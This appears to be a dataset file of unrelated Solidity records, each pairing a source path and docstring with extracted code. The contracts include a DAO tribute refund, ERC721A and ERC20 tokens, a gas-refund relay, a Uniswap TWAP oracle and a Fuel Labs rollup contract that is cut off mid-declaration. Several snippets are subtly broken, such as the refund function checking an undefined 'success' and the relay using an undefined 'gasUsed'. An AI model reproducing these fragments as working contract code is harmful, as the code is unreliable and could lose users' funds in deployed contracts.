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./full_match/100/0xdB915c418B850c5556eEdd49e5b56E35Bec9708a/sources/concFr.sol
|
@notice Cancels membership proposal in `DAO` and returns `tribute` deposit to `applicant` in `wETH9` or native asset. @param proposalId # associated with `DAO` proposal. @param unwrap Flags whether to return `wETH9` or native asset to `applicant`. @dev Can only be called by `applicant` associated with `proposalId`. Cancel proposal in `DAO` and withdraw `tribute` deposit.
|
function cancelMembershipProposal(uint256 proposalId, bool unwrap) external {
App storage app = applications[proposalId];
require(msg.sender == app.applicant, "NOT_APPLICANT");
dao.cancelProposal(proposalId);
dao.withdrawBalance(address(wETH9), app.tribute);
wETH9.withdraw(app.tribute);
require(success, "NOT_PAYABLE");
wETH9.transfer(msg.sender, app.tribute);
}
| 14,275,326
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contract Throw {
modifier sentValue() {
require(msg.value > 0);
_;
}
constructor() public payable sentValue {
// require(msg.value > 0);
//if (msg.value == 0)
// throw;
}
function otherFunction() public payable sentValue {
// require(msg.value > 0);
}
}
|
require(msg.value > 0);
|
function otherFunction() public payable sentValue {
}
| 6,345,208
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./full_match/222000222/0x1f53E116c31F171e59f45f0752AEc5d1F5aA3714/sources/contracts/libraries/MELDLibrary.sol
|
performs chained getAmountOut calculations on any number of pairs
|
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "MELDLibrary: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
| 13,222,754
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./full_match/1/0xF647f29860335E064fAc9f1Fe28BC8C9fd5331b0/sources/contracts/ERC721A-OCMfers.sol
|
* @dev Transfers `tokenId` from `from` to `to`. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. Emits a {Transfer} event./ The nested ifs save around 20+ gas over a compound boolean condition. Clear approvals from the previous owner. This is equivalent to `delete _tokenApprovals[tokenId]`. Underflow of the sender's balance is impossible because we check for ownership above and the recipient's balance can't realistically overflow. Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256. We can directly increment and decrement the balances. Updates: - `address` to the next owner. - `startTimestamp` to the timestamp of transfering. - `burned` to `false`. - `nextInitialized` to `true`. If the next slot may not have been initialized (i.e. `nextInitialized == false`) . If the next slot's address is zero and not burned (i.e. packed value is zero). If the next slot is within bounds. Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
|
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);
if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
_BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
| 16,475,328
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT130594' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT130594
// Name : ADZbuzz Ew.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT130594";
name = "ADZbuzz Ew.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
|
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ADZbuzzCommunityToken() public {
symbol = "ACT130594";
name = "ADZbuzz Ew.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 10,226,510
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./partial_match/1/0x015C7C7A7D65bbdb117C573007219107BD7486f9/sources/InstantRefundRelay.sol
|
* @param _relayTx A relay tx containing the job to execute @param _gasRefund Gas amount to refund @dev Only authorised relayer can execute relay jobs and they are refunded gas at the end of the call. Critically, if the relay job fails, we can simply catch exception and continue with the refund./ The msg.sender check protects against two problems: - Replay attacks across chains (chainid in transaction) - Re-entrancy attacks back into .execute() (signer required) - Stops external relayers spending the contract balance without any.sender authorisation In the worst case, the contract will only send 63/64 of the transaction's remaining gas due to https:eips.ethereum.org/EIPS/eip-150 But this is problematic as outlined in https:eips.ethereum.org/EIPS/eip-1930 so to fix... we need to make sure we supply 64/63 * gasLimit. Assumption: Underlying contract called did not have a minimum gas required check We add 1000 to cover the cost of calculating new gas limit - this should be a lot more than is required - measuring shows cost of 58 execute the actual call Notify admin we need to provide more refund to this contract
|
function execute(RelayTx calldata _relayTx, uint _gasRefund) external {
uint gasStarted = gasleft();
require(relayers[msg.sender], "Relayer must call this function.");
require(gasleft() > _relayTx.gasLimit.div(63).add(_relayTx.gasLimit).add(1000), "Not enough gas supplied.");
(bool success,) = _relayTx.to.call.gas(_relayTx.gasLimit)(_relayTx.data);
if(_gasRefund > 0) {
if(!msg.sender.send(gasUsed*tx.gasprice)) {
emit OutOfCoins();
}
}
emit RelayExecuted(_relayTx.id, success, _relayTx.to, gasUsed, tx.gasprice);
}
| 3,920,248
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./partial_match/1/0xc380c6640FB0562A101AAf6862f278c0A172e067/sources/UniswapV3Medianizer.sol
|
@notice Fetches time-weighted average tick using Uniswap V3 oracle @notice Updated from OracleLibrary code to allow for setting an end timestamp to the TWAP @param pool Address of Uniswap V3 pool that we want to observe @param periodStartSecondsAgo Number of seconds in the past to start calculating time-weighted average @param periodEndSecondsAgo Number of seconds in the past to end calculating time-weighted average @return timeWeightedAverageTick The time-weighted average tick from (block.timestamp - period) to block.timestamp Always round to negative infinity
|
function consult(
address pool,
uint32 periodStartSecondsAgo,
uint32 periodEndSecondsAgo
) internal view returns (int24 timeWeightedAverageTick) {
require(periodStartSecondsAgo != 0, "BP");
uint32 period = periodStartSecondsAgo - periodEndSecondsAgo;
uint32[] memory secondAgos = new uint32[](2);
secondAgos[0] = periodStartSecondsAgo;
secondAgos[1] = periodEndSecondsAgo;
(int56[] memory tickCumulatives, ) = IUniswapV3Pool(pool).observe(
secondAgos
);
int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
timeWeightedAverageTick = int24(tickCumulativesDelta / period);
if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0))
timeWeightedAverageTick--;
}
| 2,710,987
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./full_match/4/0x919febb6648cE9015dC71E924FedFc91A56b9a0b/sources/contracts/Comptroller.sol
|
* @notice Add the market to the borrower's "assets in" for liquidity calculations @param cToken The market to enter @param borrower The address of the account to modify @return Success indicator for whether the market was entered/ market is not listed, cannot join already joined
|
function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) {
Market storage marketToJoin = markets[address(cToken)];
if (!marketToJoin.isListed) {
return Error.MARKET_NOT_LISTED;
}
if (marketToJoin.accountMembership[borrower] == true) {
return Error.NO_ERROR;
}
accountAssets[borrower].push(cToken);
emit MarketEntered(cToken, borrower);
return Error.NO_ERROR;
}
| 770,119
|
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pragma solidity ^0.6.0;
//solidity version might change so code will change accordingly
contract TodoList {
uint256 public taskCount = 0;
// Making a struct as class or something related to make
// object that will store our necessary data
struct Task {
uint256 id;
string content;
bool completed;
}
// We will use something called map to make key value pairs
//to store all the task
mapping(uint256 => Task) public task;
event TaskCreated(uint256 id, string content, bool completed);
event TaskCompleted(uint256 id, bool completed);
constructor() public {
createTask("Welcome to blockchain");
}
function createTask(string memory _content) public {
taskCount++;
task[taskCount] = Task(taskCount, _content, false);
emit TaskCreated(taskCount, _content, false);
}
function toggleCompleted(uint256 _id) public {
Task memory _task = task[_id];
_task.completed = !_task.completed;
task[_id] = _task;
emit TaskCompleted(_id, _task.completed);
}
}
|
solidity version might change so code will change accordingly Making a struct as class or something related to make object that will store our necessary data
|
contract TodoList {
uint256 public taskCount = 0;
struct Task {
uint256 id;
string content;
bool completed;
}
event TaskCreated(uint256 id, string content, bool completed);
event TaskCompleted(uint256 id, bool completed);
mapping(uint256 => Task) public task;
constructor() public {
createTask("Welcome to blockchain");
}
function createTask(string memory _content) public {
taskCount++;
task[taskCount] = Task(taskCount, _content, false);
emit TaskCreated(taskCount, _content, false);
}
function toggleCompleted(uint256 _id) public {
Task memory _task = task[_id];
_task.completed = !_task.completed;
task[_id] = _task;
emit TaskCompleted(_id, _task.completed);
}
}
| 12,677,442
|
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/*
Copyright (c) 2020 Fuel Labs
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.1;
/*
Authors: DappHub
License: GNU
Modified by: FuelLabs
*/
contract DSMath {
function ds_add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function ds_sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function ds_mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
contract ERC20 {
// METHODS
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
// EVENTS
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract FuelConstants {
// CONSTANTS
uint256 constant public BOND_SIZE = .1 ether; // required for block commitment
uint256 constant public FINALIZATION_DELAY = 7 days / 12; // ~ 1 weeks at 12 second block times
uint256 constant public SUBMISSION_DELAY = uint256(2 days) / 12; // ~ 2 day (should be 2 days) in Ethereum Blocks
uint256 constant public CLOSING_DELAY = uint256(90 days) / 12; // (should be 2 months)
uint256 constant public MAX_TRANSACTIONS_SIZE = 58823;
uint256 constant public TRANSACTION_ROOTS_MAX = 256;
// ASSEMBLY ONLY FRAUD CODES
uint256 constant FraudCode_InvalidMetadataBlockHeight = 0;
uint256 constant FraudCode_TransactionHashZero = 1;
uint256 constant FraudCode_TransactionIndexOverflow = 2;
uint256 constant FraudCode_MetadataOutputIndexOverflow = 3;
uint256 constant FraudCode_InvalidUTXOHashReference = 4;
uint256 constant FraudCode_InvalidReturnWitnessNotSpender = 5;
uint256 constant FraudCode_InputDoubleSpend = 6;
uint256 constant FraudCode_InvalidMerkleTreeRoot = 7;
uint256 constant FraudCode_MetadataBlockHeightUnderflow = 8;
uint256 constant FraudCode_MetadataBlockHeightOverflow = 9;
uint256 constant FraudCode_InvalidHTLCDigest = 10;
uint256 constant FraudCode_TransactionLengthUnderflow = 11;
uint256 constant FraudCode_TransactionLengthOverflow = 12;
uint256 constant FraudCode_InvalidTransactionInputType = 13;
uint256 constant FraudCode_TransactionOutputWitnessReferenceOverflow = 14;
uint256 constant FraudCode_InvalidTransactionOutputType = 15;
uint256 constant FraudCode_TransactionSumMismatch = 16;
uint256 constant FraudCode_TransactionInputWitnessReferenceOverflow = 17;
uint256 constant FraudCode_TransactionInputDepositZero = 18;
uint256 constant FraudCode_TransactionInputDepositWitnessOverflow = 19;
uint256 constant FraudCode_TransactionHTLCWitnessOverflow = 20;
uint256 constant FraudCode_TransactionOutputAmountLengthUnderflow = 21;
uint256 constant FraudCode_TransactionOutputAmountLengthOverflow = 22;
uint256 constant FraudCode_TransactionOutputTokenIDOverflow = 23;
uint256 constant FraudCode_TransactionOutputHTLCDigestZero = 24;
uint256 constant FraudCode_TransactionOutputHTLCExpiryZero = 25;
uint256 constant FraudCode_InvalidTransactionWitnessSignature = 26;
uint256 constant FraudCode_TransactionWitnessesLengthUnderflow = 27;
uint256 constant FraudCode_TransactionWitnessesLengthOverflow = 28;
uint256 constant FraudCode_TransactionInputsLengthUnderflow = 29;
uint256 constant FraudCode_TransactionInputsLengthOverflow = 30;
uint256 constant FraudCode_TransactionOutputsLengthUnderflow = 31;
uint256 constant FraudCode_TransactionOutputsLengthOverflow = 32;
uint256 constant FraudCode_TransactionMetadataLengthOverflow = 33;
uint256 constant FraudCode_TransactionInputSelectorOverflow = 34;
uint256 constant FraudCode_TransactionOutputSelectorOverflow = 35;
uint256 constant FraudCode_TransactionWitnessSelectorOverflow = 37;
uint256 constant FraudCode_TransactionUTXOType = 38;
uint256 constant FraudCode_TransactionUTXOOutputIndexOverflow = 39;
uint256 constant FraudCode_InvalidTransactionsNetLength = 40;
uint256 constant FraudCode_MetadataTransactionsRootsLengthOverflow = 41;
uint256 constant FraudCode_ComputedTransactionLengthOverflow = 42;
uint256 constant FraudCode_ProvidedDataOverflow = 43;
uint256 constant FraudCode_MetadataReferenceOverflow = 44;
uint256 constant FraudCode_OutputHTLCExpiryUnderflow = 45;
uint256 constant FraudCode_InvalidInputWithdrawalSpend = 46;
uint256 constant FraudCode_InvalidTypeReferenceMismatch = 47;
uint256 constant FraudCode_InvalidChangeInputSpender = 48;
uint256 constant FraudCode_InvalidTransactionRootIndexOverflow = 49;
// ASSEMBLY ONLY ERROR CODES
uint256 constant ErrorCode_InvalidTypeDeposit = 0;
uint256 constant ErrorCode_InputReferencedNotProvided = 1;
uint256 constant ErrorCode_InvalidReturnWitnessSelected = 2;
uint256 constant ErrroCode_InvalidReturnWitnessAddressEmpty = 3;
uint256 constant ErrroCode_InvalidSpenderWitnessAddressEmpty = 4;
uint256 constant ErrorCode_InvalidTransactionComparison = 5;
uint256 constant ErrorCode_WithdrawalAlreadyHappened = 6;
uint256 constant ErrorCode_BlockProducerNotCaller = 7;
uint256 constant ErrorCode_BlockBondAlreadyWithdrawn = 8;
uint256 constant ErrorCode_InvalidProofType = 9;
uint256 constant ErrorCode_BlockHashNotFound = 10;
uint256 constant ErrorCode_BlockHeightOverflow = 11;
uint256 constant ErrorCode_BlockHeightUnderflow = 12;
uint256 constant ErrorCode_BlockNotFinalized = 13;
uint256 constant ErrorCode_BlockFinalized = 14;
uint256 constant ErrorCode_TransactionRootLengthUnderflow = 15;
uint256 constant ErrorCode_TransactionRootIndexOverflow = 16;
uint256 constant ErrorCode_TransactionRootHashNotInBlockHeader = 17;
uint256 constant ErrorCode_TransactionRootHashInvalid = 18;
uint256 constant ErrorCode_TransactionLeafHashInvalid = 19;
uint256 constant ErrorCode_MerkleTreeHeightOverflow = 20;
uint256 constant ErrorCode_MerkleTreeRootInvalid = 21;
uint256 constant ErrorCode_InputIndexSelectedOverflow = 22;
uint256 constant ErrorCode_OutputIndexSelectedOverflow = 23;
uint256 constant ErrorCode_WitnessIndexSelectedOverflow = 24;
uint256 constant ErrorCode_TransactionUTXOIDInvalid = 25;
uint256 constant ErrorCode_FraudBlockHeightUnderflow = 26;
uint256 constant ErrorCode_FraudBlockFinalized = 27;
uint256 constant ErrorCode_SafeMathAdditionOverflow = 28;
uint256 constant ErrorCode_SafeMathSubtractionUnderflow = 29;
uint256 constant ErrorCode_SafeMathMultiplyOverflow = 30;
uint256 constant ErrorCode_TransferAmountUnderflow = 31;
uint256 constant ErrorCode_TransferOwnerInvalid = 32;
uint256 constant ErrorCode_TransferTokenIDOverflow = 33;
uint256 constant ErrorCode_TransferEtherCallResult = 34;
uint256 constant ErrorCode_TransferERC20Result = 35;
uint256 constant ErrorCode_TransferTokenAddress = 36;
uint256 constant ErrorCode_InvalidPreviousBlockHash = 37;
uint256 constant ErrorCode_TransactionRootsLengthUnderflow = 38;
uint256 constant ErrorCode_TransactionRootsLengthOverflow = 39;
uint256 constant ErrorCode_InvalidWithdrawalOutputType = 40;
uint256 constant ErrorCode_InvalidWithdrawalOwner = 41;
uint256 constant ErrorCode_InvalidDepositProof = 42;
uint256 constant ErrorCode_InvalidTokenAddress = 43;
uint256 constant ErrorCode_InvalidBlockHeightReference = 44;
uint256 constant ErrorCode_InvalidOutputIndexReference = 45;
uint256 constant ErrorCode_InvalidTransactionRootReference = 46;
uint256 constant ErrorCode_InvalidTransactionIndexReference = 47;
uint256 constant ErrorCode_ProofLengthOverflow = 48;
uint256 constant ErrorCode_InvalidTransactionsABILengthOverflow = 49;
// ASSEMBLY ONLY CONSTANTS
// Memory Layout * 32
// 0 -> 12 Swap for hashing, ecrecover, events data etc]
// 12 -> 44 Virtual Stack Memory (stack and swap behind writeable calldata for safety)
// 44 -> calldatasize() Calldata
// 44 + calldatasize() Free Memory
// Calldata Memory Position
uint256 constant Swap_MemoryPosition = 0 * 32; // Swap -> 12
uint256 constant Stack_MemoryPosition = 12 * 32; // Virtual Stack -> 44
uint256 constant Calldata_MemoryPosition = 44 * 32; // Calldata
// Length and Index max/min for Inputs, Outputs, Witnesses, Metadata
uint256 constant TransactionLengthMax = 8;
uint256 constant TransactionLengthMin = 0;
// Metadata, Witness and UTXO Proof Byte Size, Types and Lengths etc..
uint256 constant MetadataSize = 8;
uint256 constant WitnessSize = 65;
uint256 constant UTXOProofSize = 9 * 32;
uint256 constant DepositProofSize = 96;
uint256 constant TypeSize = 1;
uint256 constant LengthSize = 1;
uint256 constant TransactionLengthSize = 2;
uint256 constant DigestSize = 32;
uint256 constant ExpirySize = 4;
uint256 constant IndexSize = 1;
// Booleans
uint256 constant True = 1;
uint256 constant False = 0;
// Minimum and Maximum transaction byte length
uint256 constant TransactionSizeMinimum = 100;
uint256 constant TransactionSizeMaximum = 800;
// Maximum Merkle Tree Height
uint256 constant MerkleTreeHeightMaximum = 256;
// Select maximum number of transactions that can be included in a Side Chain block
uint256 constant MaxTransactionsInBlock = 2048;
// Ether Token Address (u256 chunk for assembly usage == address(0))
uint256 constant EtherToken = 0;
// Genesis Block Height
uint256 constant GenesisBlockHeight = 0;
// 4 i.e. (1) Input / (2) Output / (3) Witness Selection / (4) Metadata Selection
uint256 constant SelectionStackOffsetSize = 4;
// Topic Hashes
uint256 constant WithdrawalEventTopic = 0x782748bc04673eff1ae34a02239afa5a53a83abdfa31d65d7eea2684c4b31fe4;
uint256 constant FraudEventTopic = 0x62a5229d18b497dceab57b82a66fb912a8139b88c6b7979ad25772dc9d28ddbd;
// ASSEMBLY ONLY ENUMS
// Method Enums
uint256 constant Not_Finalized = 0;
uint256 constant Is_Finalized = 1;
uint256 constant Include_UTXOProofs = 1;
uint256 constant No_UTXOProofs = 0;
uint256 constant FirstProof = 0;
uint256 constant SecondProof = 1;
uint256 constant OneProof = 1;
uint256 constant TwoProofs = 2;
// Input Types Enums
uint256 constant InputType_UTXO = 0;
uint256 constant InputType_Deposit = 1;
uint256 constant InputType_HTLC = 2;
uint256 constant InputType_Change = 3;
// Input Sizes
uint256 constant InputSizes_UTXO = 33;
uint256 constant InputSizes_Change = 33;
uint256 constant InputSizes_Deposit = 33;
uint256 constant InputSizes_HTLC = 65;
// Output Types Enums
uint256 constant OutputType_UTXO = 0;
uint256 constant OutputType_withdrawal = 1;
uint256 constant OutputType_HTLC = 2;
uint256 constant OutputType_Change = 3;
// ASSEMBLY ONLY MEMORY STACK POSITIONS
uint256 constant Stack_InputsSum = 0;
uint256 constant Stack_OutputsSum = 1;
uint256 constant Stack_Metadata = 2;
uint256 constant Stack_BlockTip = 3;
uint256 constant Stack_UTXOProofs = 4;
uint256 constant Stack_TransactionHashID = 5;
uint256 constant Stack_BlockHeader = 6;
uint256 constant Stack_RootHeader = 19;
uint256 constant Stack_SelectionOffset = 7;
uint256 constant Stack_Index = 28;
uint256 constant Stack_SummingTokenID = 29;
uint256 constant Stack_SummingToken = 30;
// Selection Stack Positions (Comparison Proof Selections)
uint256 constant Stack_MetadataSelected = 8;
uint256 constant Stack_SelectedInputLength = 9;
uint256 constant Stack_OutputSelected = 10;
uint256 constant Stack_WitnessSelected = 11;
uint256 constant Stack_MetadataSelected2 = 12;
uint256 constant Stack_SelectedInputLength2 = 13;
uint256 constant Stack_OutputSelected2 = 14;
uint256 constant Stack_WitnessSelected2 = 15;
uint256 constant Stack_RootProducer = 16;
uint256 constant Stack_Witnesses = 17;
uint256 constant Stack_MerkleProofLeftish = 23;
uint256 constant Stack_ProofNumber = 25;
uint256 constant Stack_FreshMemory = 26;
uint256 constant Stack_MetadataLength = 31;
// Storage Positions (based on Solidity compilation)
uint256 constant Storage_deposits = 0;
uint256 constant Storage_withdrawals = 1;
uint256 constant Storage_blockTransactionRoots = 2;
uint256 constant Storage_blockCommitments = 3;
uint256 constant Storage_tokens = 4;
uint256 constant Storage_numTokens = 5;
uint256 constant Storage_blockTip = 6;
uint256 constant Storage_blockProducer = 7;
}
contract Fuel is FuelConstants, DSMath {
// EVENTS
event DepositMade(address indexed account, address indexed token, uint256 amount);
event WithdrawalMade(address indexed account, address token, uint256 amount, uint256 indexed blockHeight, uint256 transactionRootIndex, bytes32 indexed transactionLeafHash, uint8 outputIndex, bytes32 transactionHashId);
event TransactionsSubmitted(bytes32 indexed transactionRoot, address producer, bytes32 indexed merkleTreeRoot, bytes32 indexed commitmentHash);
event BlockCommitted(address blockProducer, bytes32 indexed previousBlockHash, uint256 indexed blockHeight, bytes32[] transactionRoots);
event FraudCommitted(uint256 indexed previousTip, uint256 indexed currentTip, uint256 indexed fraudCode);
event TokenIndex(address indexed token, uint256 indexed index);
// STATE STORAGE
// depositHashID => amount [later clearable in deposit] sload(keccak256(0, 64) + 5)
mapping(bytes32 => uint256) public deposits; // STORAGE 0
// block height => withdrawal id => bool(has been withdrawn) [later clearable in withdraw]
// lets treat block withdrawals as tx hash bytes(0) output (0)
mapping(uint256 => mapping(bytes32 => bool)) public withdrawals; // STORAGE 1
// transactions hash => Ethereum block number included [later clearable in withdraw]
mapping(bytes32 => uint256) public blockTransactionRoots; // STORAGE 2
// blockNumber => blockHash all block commitment hash headers Mapping actually better than array IMO, use tip as len
mapping(uint256 => bytes32) public blockCommitments; // STORAGE 3
